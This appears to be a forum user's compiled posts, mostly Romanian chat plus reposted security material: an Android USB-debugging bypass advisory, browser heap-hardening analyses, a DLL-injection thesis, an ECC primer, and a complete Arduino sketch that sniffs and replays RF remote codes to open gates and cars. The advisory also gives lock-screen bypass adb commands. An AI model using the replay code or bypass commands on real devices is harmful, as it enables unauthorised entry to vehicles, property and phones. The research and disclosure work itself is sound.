Nytro

Da. Peste cateva zile. Sa aiba lumea timp sa isi faca lumea update.

Ia da-i un alert(document.cookie) si vezi daca ai cookie-urile cu numele Y si T.

Acel vector XSS poate ajunge si la un alt user de pe Messenger? E Remote sau doar Self? Mai fusese postat unul. E in Send SMS?

Din aproape orice punct de vedere KDE > Gnome. Parerea mea. Bine Gnome e mai stabil, unele aplicatii KDE mai crapa urat.

Au lansat patch-ul: Security Patch Release for vBulletin 5.0.4, 5.0.5, 5.1.0, 5.1.1, and 5.1.2 - vBulletin Community Forum

Windows Phone 8 Application Security Whitepaper Syscan 2014 Singapore – Alex Plaskett and Nick Walker 2014/03/30 Contents 1. Introduction ..................................................................................... 4 2. Background ...................................................................................... 4 2.1 Application Overview ..................................................................................... 4 2.2 Code Signing ................................................................................................ 5 2.3 Sandboxing.................................................................................................. 5 2.4 Exploit Mitigation .......................................................................................... 7 2.5 Encryption .................................................................................................. 7 2.6 Secure Boot ................................................................................................. 8 2.7 Developer Unlock .......................................................................................... 8 2.8 Previous Work .............................................................................................. 9 3. Black box Assessment ......................................................................... 10 3.1 Obtaining Marketplace Applications .................................................................. 10 3.2 Application Structure ................................................................................... 11 3.3 Decompiling Marketplace Applications ............................................................... 12 3.4 Patching Marketplace Applications ................................................................... 12 3.5 Obtaining a remote shell ............................................................................... 13 3.6 Building Standalone Executables ...................................................................... 14 4. Local Data Protection ......................................................................... 16 4.1 Insecure Data Storage................................................................................... 17 4.2 Data Protection API (DPAPI) ........................................................................... 20 4.3 Local Database Security ................................................................................ 24 5. Transmission Security ......................................................................... 26 5.1 Traffic Interception ..................................................................................... 26 5.2 Cipher Support and Certificate Validation .......................................................... 27 6. Interprocess Communication ................................................................. 29 6.1 File and Protocol Handlers ............................................................................. 29 6.2 Cross Application Navigation Forgery ................................................................ 33 mwrinfosecurity.com | © MWR InfoSecurity 3 7. Input Validation ................................................................................ 37 7.1 Web Browser Control ................................................................................... 37 7.2 Cross Site Scripting (XSS) ............................................................................... 38 7.3 SQL Injection ............................................................................................. 40 7.4 XAML Injection ........................................................................................... 40 7.5 JavaScript Bridge Security ............................................................................. 41 8. Backgrounding and Application State ....................................................... 42 9. Push Notifications .............................................................................. 45 10. Application Logging .......................................................................... 48 11. C++/WinRT Native Code ..................................................................... 48 12. Samsung ATIV S ............................................................................... 49 12.1 Registry Access ......................................................................................... 49 12.2 File System Access ..................................................................................... 49 12.3 Enable All Side Loading / Bootstrap Samsung ..................................................... 50 13. Conclusions .................................................................................... 51 14. Acknowledgements ........................................................................... 52 15. References ..................................................................................... 52 Download: https://labs.mwrinfosecurity.com/system/assets/651/original/mwri_wp8_appsec-whitepaper-syscan_2014-03-30.pdf

Android 4.4.2 Secure USB Debugging Bypass A vulnerability found in Android 4.2.2-4.4.2 allowed attackers to bypass Android’s secure USB debugging, this allowed attackers to access adb prior to unlocking the device. Software Android Affected Versions Android 4.2.2-4.4.2 CVE Reference Authors Henry Hoggard, MWR Labs (https://labs.mwrinfosecurity.com)SeverityMediumVendorGoogleVendor Response Fixed in Android 4.4.3 Description: Android Developer Bridge (adb) is a command line tool that allows users to communicate with and debug the device. It gives users permissions to access many areas of the device, including the ability to manage apps, access device logs, read device input, take backups and execute OS commands. In Android 4.2.2, Google implemented Secure USB Debugging, aimed to prevent adb from being connected to malicious computers. The user has to authorize a computer before it can connect with adb. The idea is that users can only authorize a computer after entering the password and unlocking the device. The bug detailed is only exploitable when adb is enabled on the device. Impact: If adb is enabled on the device, attackers with physical access to a device can bypass Android’s secure USB debugging protection. This allows attackers to gain adb access to the device, which would allow them to: • Install/uninstall applications • Bypass the lock screen • Access a high privilege shell on the device • Steal data from applications and settings on the device Cause: The adb authorize host confirmation dialog is displayed prior to unlocking the device on the emergency dialer and lock screen camera. This allows attackers with physical access to authorize their computer and connect with adb. Interim Workaround: If you are running a vulnerable version of Android, it is recommended to disable ADB to prevent this attack. Solution: Android 4.4.3 prevents the adb authorization confirmation dialog from being opened in the emergency dialer and lock screen camera prior to unlocking the device. Users can now only authorize a computer with ADB after the lock screen stage is passed. Therefore it is recommended that a strong device password is used. Technical details: The intended design of secure USB debugging, is that the user needs to be unlock the device to be able to authorize new adb hosts. If the user attempts to use adb while still at the Android lock screen, it will throw the following error: error: device unauthorized. Please check the confirmation dialog on your device MWR discovered that by navigating to either the emergency dialer or the lock screen camera, then typing the below commands, it was possible to trigger confirmation dialog, the attacker could then accept this dialog and gain adb access to the device without knowing the device password. $ adb kill-server $ adb shell After gaining adb access to the device, to bypass the lock screen the following command is used: $ adb shell pm clear com.android.keyguard The below image shows the USB confirmation dialog displayed on the emergency dialer. Detailed Timeline: [TABLE] [TR] [TD] Date[/TD] [TD] Summary[/TD] [/TR] [TR] [TD] 26/02/2014[/TD] [TD] Reported to Google[/TD] [/TR] [TR] [TD] 27/02/2014[/TD] [TD] Google start investigating issue[/TD] [/TR] [TR] [TD] 29/04/2014[/TD] [TD] Google replied stating that a patch has been created[/TD] [/TR] [TR] [TD] 04/06/2014[/TD] [TD] Android 4.4.3 officially released containing patch[/TD] [/TR] [/TABLE] Sursa: https://labs.mwrinfosecurity.com/advisories/2014/07/03/android-4-4-2-secure-usb-debugging-bypass/

Isolated Heap & Friends - Object Allocation Hardening in Web Browsers In a recent Microsoft Patch Tuesday, Internet Explorer recently introduced a new heap protection aimed at making the exploitation of use-after-free vulnerabilities more difficult. This blog post details the protection, how it works, and how it compares to similar protections present in Mozilla Firefox and Google Chrome. Many people noted the huge amount of fixes for Internet Explorer vulnerabilities (59 in total) in the recent Microsoft Patch Tuesday release. Even more interesting is the addition of a new exploitation mitigation feature in IE, the Isolated Heap for DOM objects. This feature aims to harden the browser against the exploitation of use-after-free (UAF) vulnerabilities, as well as some other memory corruption bug classes. Chrome and Firefox deploy similar mitigations which we will discuss and later in this blog post. First, let’s have a look at the generic pattern of exploiting use-after-free vulnerabilities and the new Isolated Heap protection in Internet Explorer. Exploiting use-after-free vulnerabilities Due to the way heaps typically work, recently freed chunks of memory are preferred for fulfilling requests for similarly sized allocations, in order to prevent fragmentation of the heap and make optimal use of CPU cache behaviour. An attacker trying to exploit a use-after-free vulnerability reliably will likely try to allocate controlled data in place of the recently freed object. Typically, this controlled data is either a arbitrarily controllable type (such as a string or ArrayBuffer), or an object of a different type to the one that has been freed (replacing the object with one of the same type has limited worth from an exploitation point of view). The Isolated Heap in Internet Explorer Most of the DOM objects and supporting objects are now allocated on a separate heap. This will prevent an attacker from easily allocating arbitrary data in the space of a freed DOM object. The separate heap is allocated during the initialisation phase of mshtml.dll: ; START OF FUNCTION CHUNK FOR __DllMainStartup@12 loc_63C94EA9: ; dwMaximumSize push 0 push 0 ; dwInitialSize push 0 ; flOptions call ds:__imp__HeapCreate@12 ; HeapCreate(x,x,x) mov _g_hIsolatedHeap, eax The handle to the newly created heap is stored in a global variable. A call is made to the HeapSetInformation_LowFragmentation_Downlevel function, which will forcefully enable the Low Fragmentation Heap for this newly created heap. By following the references to the global variable, it is straight-forward to track down the allocation functions for the Isolated Heap: _MemIsolatedAlloc _MemIsolatedAllocClear The “Clear” variant will call HeapAlloc with the HEAP_ZERO_MEMORY flag set, which will zero all allocated memory before returning the newly allocated buffer. This is presumably done in order to prevent the exploitation of uninitialised memory vulnerabilities. Interestingly this is not done for all objects, only the following object types are being allocated by the non-zeroing variant: CDOMTextNode CTextNodeMarkupPointer CMarkupPointer CTraversalNodeIterator CDomRange The list of objects allocated by the zeroing variant is much larger and too long to list here, as it includes all HTML and SVG DOM Elements and supporting Element such as CTreeNode, CMarkup, CAttribute and others. Effectiveness The most obvious shortcoming of this implementation is that the protection is only restricted to a subset of objects in the browser. However, it is an improvement as the chosen subset includes many of the objects which are complex, and prone to UAF conditions as a result. Using the standard heap implementation (as opposed to a separate heap implementation) to try to prevent the exploitation of use-after-free vulnerabilities in a browser has also a few problems. Compared to the protections in other browsers, it should be fairly easy for an attacker to allocate objects of a different type over a freed object, especially when heap chunks are coalesced. When the zeroing variant of the allocation function is used, the protection against uninitialised memory vulnerabilities appears to be effective for the subset of protected objects. However, a number of other objects exist that are unprotected or allocated without first zeroing the memory, and these objects may still be partially uninitialised. Without a doubt the sudden introduction of this new mitigation technique on a Patch Tuesday will impact on actively exploited in-the-wild vulnerabilities, and at the very least will provide some headaches for attackers. Presentation Arena and Frame Poisoning in Mozilla Firefox Ever since the fork from Netscape, Firefox has used arena allocations for certain object types to recycle common object sizes and improve allocation efficiency. While this was initially done for performance reasons, it has some security benefits as well. In 2009, Mozilla added a protection called Frame Poisoning for some frame object allocations which were being heavily used during the page layout phase. Every object that is being freed will be replaced with a chosen pattern, making it easier to spot existing use-after-free vulnerabilities through use of the poisoned value (see here for an example). The current implementation can be found in the nsPresArena, and supports three types of allocations: By object ID By frame ID By size A separate free list is maintained for every object, frame ID and size allocation. During the lifetime of a presentation shell, a certain object or frame type will always be guaranteed to be allocated in a space that will only ever be filled with an object of the same type, or a poison value. This will prevent an attack from filling a freed object’s memory with arbitrary values. Effectiveness While this protection is effective for frame object allocation, many other object types in Firefox are not protected in a similar way (e.g. DOM objects). Which still allows attacker to exploit use-after-free vulnerabilities for object types which are not protected. PartitionAlloc in Google Chrome Chrome uses Blink (a forked version of WebKit) as its rendering engine. One of the security features added to Blink since the fork from WebKit is a separate heap allocator called PartitionAlloc. PartitionAlloc separates allocations on its heap into partitions, depending on the type of objects that will be allocated within that partition. At present, there are four partitions: ObjectModelPartition – This stores all objects which are subclasses of the Node class. This roughly equates to almost all objects from the DOM tree. RenderingPartion – This stores all objects within the render tree. To understand how these objects relate to the DOM tree, is a good talk by Eric Seidel from Google on the subject. BufferPartition – This stores objects from the Web Template Framework (the sometimes aptly named WTF). This includes many of the JavaScript native types, such as ArrayBuffer (typed and untyped) and StringImpl. “General Partition” – This stores all allocations served by WTF::fastMalloc (when the use of the system malloc is not specified). Within each partition, allocations are further separated into buckets based on the size of the allocation. Separating allocations by size hopes to limit an attacker’s options for different objects that can be reliably allocated in place of the freed object. For example, let’s say that an attacker has triggered the free of a DOM object that occupied an 176-byte chunk of memory on the heap. As discussed earlier in this post, prior to PartitionAlloc an attacker would have a number of options for allocations in place of the freed object. However, with PartitionAlloc, an attacker would be limited to allocating an object from the same partition (the ObjectModelPartition in this case) and of roughly the same size (176 bytes). Effectiveness The worst case for this limitation is that a number of objects exist which fill these criteria (this can happen when the memory footprint of the freed object is the same size as a generic base class, such as HTMLElement), however there is still a smaller subset of candidate objects available to an attacker. In addition, replacing the freed object with a different object will either result in replacing the vtable pointer of the freed object with a similar one, or with a freelist pointer (depending on whether the replacement object is in use or free). In either case, the most flexible option (from the point of view of an attacker) would be replacing the memory with objects where the data is controlled completely (such as a Uint8Array). As these objects are allocated outside of the current PartitionRoot, this is not possible. The best case scenario is that there is only one object which fulfills these criteria, and as a result it is only possible to replace the freed object with another object of the same type. This makes exploitation significantly more challenging, but not impossible (the newly allocated object may have a different state, or reference memory left over from the previous object which may now also be free). Sursa: https://labs.mwrinfosecurity.com/blog/2014/06/20/isolated-heap-friends---object-allocation-hardening-in-web-browsers/

Is use-after-free exploitation dead? The new IE memory protector will tell you by Zhenhua 'Eric' Liu | July 16, 2014 The Isolated Heap for DOM objects included in the Microsoft Patch Tuesday for June 2014 was just a fire drill aimed at making the exploitation of use-after-free (UAF) vulnerabilities more difficult. The patch for July 2014, however, has been quite a shock to exploit developers! In this release, Microsoft showed some determination in fighting back against UAF bugs with this improvement - the introduction of a new memory protector in Microsoft Internet Explorer, which would make exploitation of UAF vulnerabilities extremely difficult. An Overview Of The Changes In the July 2014 update, a total of fourteen MSHTML!MemoryProtection: functions and one global variable have been added to improve memory freeing of HTML and DOM elements. Figure 1. The MemoryProtection functions. In this update, we can also see that significant changes are made in the deconstructor of most elements: The HeapFree function has been replaced with MemoryProtection::CMemoryProtector::ProtectedFree. The HeapFree function has been replaced with ProcessHeapFree (a fastcall version of MemoryProtection::CMemoryProtector::ProtectedFree). Some deconstructors just implement the same mechanism of using MemoryProtection::CMemoryProtector::ProtectedFree directly. Figure 2. The ProtectedFree functions that have replaced HeapFree. How do these new functions work? And how do these changes stop the exploitation of use-after-free bugs and other kinds of exploits? The following technical analysis will tell you. Technical Analysis Memory allocations typically reference similarly-sized chunks of memory that have been previously freed. Taking advantage of this behavior, the traditional way of exploiting a use-after-free bug consists of the following process: 1) The program allocates and then later frees object A. 2) The attacker allocates object B over the freed memory, carefully controlling the data that will be used later. 3) The program uses freed object A, referencing the attacker-controlled data. The most effective mitigation should be in making Step 2 above, the replacement of an object, become harder or even impossible. There are some ways that the defender can do this: A) The ultimate way is to use a type-safe memory management system which would prevent the attacker from reclaiming the freed memory using a different type of object. The attacker could only replace the memory using the same type of object, which does not help at all in exploitation. The cheaper way is to do some tricks in the current memory management system to make the memory allocation and freeing behavior out of the attacker’s control. Specifically, the method in B is the improvement that we have seen in IE in June 2014, where an isolated heap in the memory allocate method has been added; and in July 2014, where the protected free method has been implemented. The isolated heap that was introduced could bring some trouble to attackers, but if the mitigation only relies on this, it should still be fairly easy to bypass; an attacker could still reference the freed objects with a different type, especially when the chunks of memory have been merged. The story has changed with the newly added protected free method in the July 2014 update. In each thread of an IE process, a MemoryProtector structure has been introduced to protect the current thread, as its name implies. Figure 3. The MemoryProtector structure. The BlockArray in this structure stores the size and address of the elements to be freed. The new function MemoryProtection::CMemoryProtector::ProtectedFree then makes use of the MemoryProtector structure to make freeing of the elements’ memory safer. Figure 4. The MemoryProtection::CMemoryProtector::ProtectedFree function. Generally speaking, this function that is responsible for freeing the protected memory acts like a simple conservative garbage collector. Instead of releasing the unused space immediately which could allow attackers to have a chance to re-allocate the space, MemoryProtection::CMemoryProtector::ProtectedFree first holds these unused spaces (filling the content with zeroes) until the number or total size meets a specific threshold. When this threshold is met, it does not release every stored element’s memory at that moment just yet as it still needs to implement a “Mark and Sweep” process. In Figure 4, this can be seen in the calls to MarkBlocks and ReclaimUnmarkedBlocks. The following shows the marking process which scans and marks every element that is still being referenced in the stack; these marked elements will not be freed in the sweeping process. By doing this, the possible use of a freed object in the stack would be prevented. Figure 5. The MemoryProtection::CMemoryProtector::MarkBlocks function. Eventually, the non-marked elements are freed in the sweeping process. Figure 6. The MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks function. Now, let’s switch our point-of-view to the attacker’s side. To exploit a use-after-free bug under the above new conditions, we first need to find a controlled allocation method in the same heap as the freed object. We then need to predict the memory status (how many frees are still needed before triggering the actual free) when freeing an object. After that, we need to perfectly build the release sequence to make sure that the previously freed object’s space has actually been freed. That already sounds difficult, but that’s not all. We also have to predict the possible memory coalesces and handle the conflicts from other unknown allocations, and then reclaim the memory at a good timing. After all of that, we might then be able to take control of the previously freed element’s space. At this time, I’m afraid that most attackers who are trying to exploit use-after-free bugs have given up already. Further Thoughts As we can see in the beginning of the function MemoryProtection::CMemoryProtector::ProtectedFree in Figure 4, if the variable MemoryProtection::CMemoryProtector::tlsSlotForInstanc is equal to -1 or if TlsGetValue() fails, the old function HeapFree is directly called, but this is obviously tough to achieve. Some heap manipulation techniques would be affected by the joint action of the isolated heap and protected free because such techniques need to free some elements to make holes for the vulnerable buffer. The delayed free mechanism should bring some headache to attackers, but manipulation is not impossible, as long as attackers could find a controlled allocation method in the same heap and are able to free a reasonable amount of elements. Would the simple conservative garbage collector introduce a new attacking surface, such as the classic ASLR bypass by Dion? It’s possible to place an integer value into the stack and then brute-guess the address of the elements that are to be freed. However, even if an attacker could guess this address, one still cannot get a useful pointer such as the vftable that would leak a base DLL address due to the fact that the contents of the memory have already been zeroed out. In conclusion, building a reliable use-after-free exploit in IE is extremely difficult now. Well done, MSRC guys! Special Contribution by Margarette Joven by Zhenhua 'Eric' Liu | July 16, 2014 Sursa: Fortinet Blog | News and Threat Research Is use-after-free exploitation dead? The new IE memory protector will tell you

RF Sniffer – open gates, cars, and RF remote controlled devices with ease. The more I get to play with hardware, the more I get to see how security is lacking or implemented poorly (and I’m being very polite here). This time, I would like to share my 315mhz/434mhz RF Sniffer project, which can be used to open poorly protected gates, cars, etc. Nothing new under the sun, only my own take on building such a device. TIP – The size of the antenna is VERY important. Don’t neglect it – use the right length and use a wave calculator for future reference. The story I wanted to see how easy it is to open a keyless car using an Arduino. And then I wanted to simultaneously control multiple appliances operating on different frequencies (315Mhz/434Mhz). Using the following design, you can easily make a fuzzer to randomly open/close/control all kind of RF receivers out-there. You have been warned. Current version of the sniffer will resend whatever it sniffs 10 times. Behavior is easily changeable. I am using the RCSwitch library to reduce heavy thinking on my part. Mission accomplished. Shopping List [TABLE] [TR] [TH]Amount[/TH] [TH]Part Type[/TH] [TH]Properties[/TH] [/TR] [TR] [TD]2[/TD] [TD]Inductor[/TD] [TD=class: props]wire antenna[/TD] [/TR] [TR] [TD]1[/TD] [TD]Red LED – 5mm[/TD] [TD=class: props]package 5 mm [THT]; leg yes; color Red (633nm)[/TD] [/TR] [TR] [TD]1[/TD] [TD]Arduino Uno (Rev3)[/TD] [TD=class: props]type Arduino UNO (Rev3)[/TD] [/TR] [TR] [TD]1[/TD] [TD]315Mhz RF-LINK_RX[/TD] [TD=class: props]package rf-link_rx; part # WRL-10533[/TD] [/TR] [TR] [TD]1[/TD] [TD]434Mhz RF-LINK_RX[/TD] [TD=class: props]package rf-link_rx; part # WRL-10532[/TD] [/TR] [TR] [TD]1[/TD] [TD]315Mhz RF-LINK_TX[/TD] [TD=class: props]package rf-link_tx; part # WRL-10535[/TD] [/TR] [TR] [TD]1[/TD] [TD]434Mhz RF-LINK_TX[/TD] [TD=class: props]package rf-link_tx; part # WRL-10534[/TD] [/TR] [/TABLE] Scheme We connect both receivers/transmitters like the following: Code And here is the Arduino code. Use at your own risk. /* * RF Sniffer © Elia Yehuda 2014 * * This program was coded. * * No warranty whatsoever. * Using this program will cause something, most likely problems. * */ #include <RCSwitch.h> // number of times to resend sniffed value. use 0 to disable. #define RESEND_SNIFFED_VALUES 10 // ye, thats the led pin # #define LED_PIN 13 // class for 315 receiver & transmitter RCSwitch rf315Switch = RCSwitch(); // class for 434 receiver & transmitter RCSwitch rf434Switch = RCSwitch(); void setup() { // print fast to console Serial.begin(115200); // 315 receiver on interrupt #0 (pin #2) rf315Switch.enableReceive(0); // 315 transmitter on pin #4 rf315Switch.enableTransmit(4); // how many resends rf315Switch.setRepeatTransmit(RESEND_SNIFFED_VALUES); // 434 receiver on interrupt #1 (pin #3) rf434Switch.enableReceive(1); // 434 transmitter on pin #5 rf434Switch.enableTransmit(5); // how many resends rf434Switch.setRepeatTransmit(RESEND_SNIFFED_VALUES); Serial.println("[+] Listening"); } // simple decimal-to-binary-ascii procedure char *tobin32(unsigned long x) { static char b[33]; b[32] = '\0'; for ( int z = 0; z < 32; z++) { b[31 - z] = ((x >> z) & 0x1) ? '1' : '0'; } return b; } void process_rf_value(RCSwitch rfswitch, int rf) { char str[120]; unsigned long value; // flash a light to show transmission digitalWrite(LED_PIN, true); value = rfswitch.getReceivedValue(); if (value) { sprintf(str, "[+] %d Received: %s / %010lu / %02d bit / Protocol = %d", rf, tobin32(value), value, rfswitch.getReceivedBitlength(), rfswitch.getReceivedProtocol() ); } else { sprintf(str, "[-] %d Received: Unknown encoding (0)", rf); } Serial.println(str); // resend the sniffed value (RESEND_SNIFFED_VALUES times) rfswitch.send(value, rfswitch.getReceivedBitlength()); // reset the switch to allow more data to come rfswitch.resetAvailable(); // stop light to show end of transmission digitalWrite(LED_PIN, false); } void loop() { if (rf315Switch.available()) { process_rf_value(rf315Switch, 315); } if (rf434Switch.available()) { process_rf_value(rf434Switch, 434); } } Sursa: RF Sniffer – open gates, cars, and RF remote controlled devices with ease. | Ziggy's of the world

[h=1]MinHook - The Minimalistic x86/x64 API Hooking Library[/h]Tsuda Kageyu, 16 Jul 2014 Provides the basic part of Microsoft Detours functionality for both x64/x86 environments. Download Source (v1.2.2) - 48.9 KB Download Precompiled DLLs - 48.8 KB Download Precompiled Static Libraries - 10.4 MB Download Samples - 1.3 KB Release archive of my GitHub repository NuGet Package for the latest version (NuGet Gallery) [h=2]Background[/h] As you who are interested in Windows API hooking know, there is an excellent library for it by Microsoft Research named Detours. It's really useful, but its free edition (called 'Express') doesn't support the x64 environment. Though its commercial edition (called 'Professional') supports x64, it's too expensive for me to afford. It costs around US$10,000! So I decided to write my own library or "poorman's Detours" from scratch. But I haven't designed my library as the perfect clone of Detours. It has just the API hooking functionality because that's all I want. As of June 2014, this library is used in some projects: 7+ Taskbar Tweaker, NonVisual Desktop Access, QTTabBar, x360ce and more. I am happy finding that this project is helpful to people. Sursa: MinHook - The Minimalistic x86/x64 API Hooking Library - CodeProject

Si lumea compara Gnome-Shit, in special dracia aia de pe Ubuntu, cu KDE. Sa fim seriosi...

Povestea e putin stupida. Dar apar cateva idei misto... Si in sfarsit, la scena in care vrea sa mareasca rezolutia pozei, ii zice tipu ca nu poate. Bine, pacat ca baga niste porcarii legate de firewall, de kernel si alte bazaconii. Si nu am inteles de ce l-au numit "Algorithm". Oricum, in mare, e un documentaro-film cu o poveste SF inventata, insa filmul atrage atentia asupra unor probleme: nepasarea oamenilor, monitorizarea tuturor de catre autoritati, mici teorii ale conspiratiei... E ok, se poate vedea.

Am prezentat. Aplicatia nu e deloc stabila, daca era o postam. Va fi facuta open-source cand va fi gata. Am luat 10. Au vazut despre ce e vorba, le-am zis ca am folosit ASM, ca injectez DLL si pun jmp-uri si erau fericiti. O persoana tinea laboratorul de Assembler, iar un profesor cursul de C++. Deci nu le-a fost greu sa inteleaga.

Salut, E continuarea si versiunea completa a tutorialului de aici: https://rstforums.com/forum/73639-rst-tutorial-formatul-fisierelor-pe.rst De fapt e lucrarea mea de licenta, numita Malware Monitor, care e de fapt o versiune particulara a programului SSL Ripper pe care l-am prezentat la Defcamp. Lucrarea contine explicatii detaliate despre: - Formatul fisierelor PE - DLL Injection - API Hooking Cuprins 1. INTRODUCERE 3 1.1. Ce este Malware Monitor? 3 1.2. Solu?ii alternative 4 1.3. Cum func?ioneaz?? 7 1.4. Utilizarea într-un penetration test 9 1.5. Perspective 10 2. FORMATUL FI?IERELOR PE 11 2.1. Informa?ii generale 11 2.2. Structura general? a fi?ierelor PE 12 2.3. Antetul MS-DOS 14 2.4. Antetul PE 20 2.5. Tabelul de sec?iuni 31 2.6. Func?iile importate si func?iile exportate 36 3. INJECTAREA UNUI DLL 43 3.1. Introducere 43 3.2. Cum func?ioneaz?? 44 3.3. Func?iile API folosite 45 3.4. Rezumat 53 4. INTERCEPTAREA APELURILOR DE FUNC?II 55 4.1. Introducere 55 4.2. Cum func?ioneaz?? 56 4.3. Apelurile de func?ii 58 4.4. Interceptarea apelurilor 61 5. CONCLUZII 68 6. BIBLIOGRAFIE 69 Mentionez ca lucrarea nu este completa si sunt multe notiuni care ar putea fi dezvoltate, insa am scris-o in noapte de dinainte de predare si nu am avut timp sa scriu tot ce mi-am propus. Daca aveti intrebari legate de subiect, pe puteti posta aici. Download: https://rstforums.com/proiecte/Licenta.docx http://www.speedyshare.com/cqypT/Licenta.docx http://www.girlshare.ro/33775040.2 Sper sa fie utila.

Elliptic Curve Cryptography for Non-Algebraists Bitcoin has captured a lot of attention as the first viable Cryptocurrency. But just how does Bitcoin incorporate the cryptography into its design? At its core Bitcoin relies on two techniques: hash function and public-key cryptography. The selected hash function is Sha256, which offers a larger block size than the commonly used Sha1. The public-key scheme is not the popular RSA public-key algorithm, but the lesser known elliptic-curve cryptography (ECC). For a comprehensive comparison of ECC and RSA, you can go here. This post, however, intends to explain the concepts behind ECC with as little math as possible, and then relate the concepts back to the terms commonly used, but not at the cost of clarity. Without further ado, let’s begin. Number Experiment We start with a little number experiment. Say we pick a number 11. We can put all the positive numbers between 0 and 10 into a set, called S. S = {0, 1, 2, 3, …..10} We then randomly pick a number from this set, and create a sequence A, based on the following rules: A1= the selected number, 4 in this case. An = the reminder of (An-1 + A1) divided by 11 If the selected number is 4, then the sequence would be: 4, 8, 1, 5, 9, 2, 6, 10, 3, 7, 0, …. Two observations: Before 0 occurs in the sequence, every number in S appears exactly once including number 0. After 0, the sequence just repeats itself. Yes, this is just modular math. One way to visualize and carry out this experiment is to consider a clock set at 4 o’clock. If we continue adding 4 hours to the time, eventually we will visit every (hour) position. In this case, 12 o’clock translates to 0 o’clock. Without going into formal definitions, in our example, the set (S) and the operation (Add) form a group. This is actually quite important. To rephrase it, a group is defined on a set and an operation upon the set members. Furthermore, our example is a cyclic group. (By cyclic, recall how we can use number 4 to generate every number in S.) This experiment can be repeated with any prime number, say p. Consequently, this cyclic group is often denoted as Zp. Last, we give the number zero in this example (it may not always be the case) a special name, Identity, because the result of adding it to any number is equal to the number itself. The group concept (a set and an operation) is important. In the next step, we will find a group structure in an elliptic curve. Elliptic Curve An elliptic curve is a curve defined by polynomial in two variables. It has a general form: y2 = x3 + ax + b (1) where 4a3 + 27b2 ? 0 Based on the values of a and b, the curve may look differently. In all cases, the curve is symmetric about x-axis. (Source: wolfram.com) Remember, our goal here is to find a group structure. Again, to form a group, we need a set and an operation. Since we are talking about an elliptic curve, naturally we would like the set to include all the points on the curve. How do we define the operation? Let’s call this operation Add, denoted “+”. Operation Add needs to satisfy a condition: Suppose P and Q are two points from the set, P + Q is also a point from the set. Using a pseudo language, we may describe the idea as Where do we start looking for the R = P + Q given P and Q? By examining line PQ, we have the following observations: When P and Q form a non-vertical line, line PQ will intercept the curve at a third point. If P and Q are the same point, PQ is the tangent line. When P and Q form a vertical line, line PQ will not intercept the curve. However, we will treat the line PQ as if it intercepts the curve at an infinitely far point. In a sense, we have added a point at infinity to the curve. Now we are ready to define the operation Add: Given points P and Q, draw line PQ and compute the third point interception T, with coordinates (x, y). We define point R = P + Q, where R has the coordinates (-x, y). Geometrically, R = P + Q can be illustrated as Or algebraically, R can be derived from P and Q. With that, we have successfully defined the group of an elliptic curve, sometimes referred to as an elliptic curve group. Many articles will take a sharp turn here and start talking about field and subgroup, but our direction is different. So far, we have implicitly framed our discussion on real numbers and hence can easily draw elliptic polynomials as continuous curves. A continuous curve looks smooth, but it consists of infinite points. We would like to work on a finite set, therefore we turn our interest to integers. Let’s pick a number, p, and only focus on point (x, y), where x and y are integers and 0 < x, y < p. Furthermore, we will use modular math of p. Let’s use an example to see where we can get from here. Suppose we pick an elliptic curve And we pick a prime number, 17. How many point solutions exist? In this case, it isn’t too difficult to check every possible solution by enumerating x from 0 to 16. [TABLE=width: 640] [TR] [TD=width: 64]X[/TD] [TD=width: 64]0[/TD] [TD=width: 64]3[/TD] [TD=width: 64]5[/TD] [TD=width: 64]6[/TD] [TD=width: 64]7[/TD] [TD=width: 64]9[/TD] [TD=width: 64]10[/TD] [TD=width: 64]13[/TD] [TD=width: 64]16[/TD] [/TR] [TR] [TD=width: 64]y1[/TD] [TD=width: 64]6[/TD] [TD=width: 64]1[/TD] [TD=width: 64]16[/TD] [TD=width: 64]3[/TD] [TD=width: 64]6[/TD] [TD=width: 64]1[/TD] [TD=width: 64]11[/TD] [TD=width: 64]10[/TD] [TD=width: 64]13[/TD] [/TR] [TR] [TD=width: 64]y2[/TD] [TD=width: 64]11[/TD] [TD=width: 64]16[/TD] [TD=width: 64]1[/TD] [TD=width: 64]14[/TD] [TD=width: 64]11[/TD] [TD=width: 64]16[/TD] [TD=width: 64]6[/TD] [TD=width: 64]7[/TD] [TD=width: 64]4[/TD] [/TR] [/TABLE] We should not forget there is also a point at infinity (?, ?). While we can use brute force to find all solutions, there is a better way. That’s because the solution set is actually a cyclic group. In other words, we need only to find a starting point, P. Our strategy is to utilize the Add operation we defined earlier to generate the sequence until we reach the point at infinity, i.e., the Identity: P, P+P, P+P+P… Identity In a simpler manner, the sequence is P, 2P, 3P… Identity Carry it out and we get: (0, 6), (9, 1), (6, 3), (7, 6), (10, 11), (3, 1), (13, 10), (5, 16), (16, 13), (16, 4), (5, 1), (13, 7), (3, 16), (10, 6), (7, 11), (6, 14), (9, 16), (0, 11), ‘Identity’ There are 19 points. Supposing we start from point (5, 1), the sequence will be different but consists of the same points: (5, 1), (6, 3), (10, 6), (3, 1), (9, 16), (16, 13), (0, 6), (13, 7), (7, 6), (7, 11), (13, 10), (0, 11), (16, 4), (9, 1), (3, 16), (10, 11), (6, 14), (5, 16), ‘Identity’ To summarize what we just did: using a point that we repeatedly summed with itself, we developed an infinite sequence of all the solutions to the elliptic curve. Now we are ready to get into the idea of elliptic curve cryptosystems. Elliptic Curve Cryptosystem An Elliptic Curve Cryptosystem is based on the so-called ECDLP (elliptic curves discrete logarithm problem). Formally, ECDLP is defined in three steps: Let E be an elliptic curve de?ned over a ?nite ?eld Fp Let G =<B> be a cyclic subgroup of E(Fp). Let Q ? G, ECDLP is the problem of ?nding n ? Z such that Q = nB, where n < |G|. Let’s take these on one by one. Step 1: (1.a) Pick an elliptic curve, E. (1. Pick a prime number, p, and use modular arithmetic. This will restrict us to the integers ranging from 0 to p-1. Numbers {0..p-1} and operations, (modular) addition and division, combined are denoted as Fp. Let the term “Field” refer to a set of points with well-defined operations, addition and division, upon the points of that given set. Step 2: (2.a) Suppose point B is a solution of the curve E. Notice B’s coordinates are integers between 0 and p-1. (2. Using the equations of (2), (3) and (4), compute the sequence B, 2B, 3B… and eventually obtain the Identity. We denote the distinct elements generated from B as <B>. Also, let G = <B>. (2.c) <B> is generated from a single point B, hence it is described as cyclic. By subgroup, it means that set G is a subset of a bigger set (i.e., the elliptic curve). Step 3. (3.a) Pick a point Q from the set G. Recalling G=<B>, every point in G is a multiple of B. In other words, there exists an integer n, which is less than the selected prime P (or the size of G, |G|). (3. It turns out that given B and Q, it is difficult to find n, such that nB=Q. This difficulty is exactly why elliptic curves are used for cryptography. (3.c) You may wonder where the name “discrete 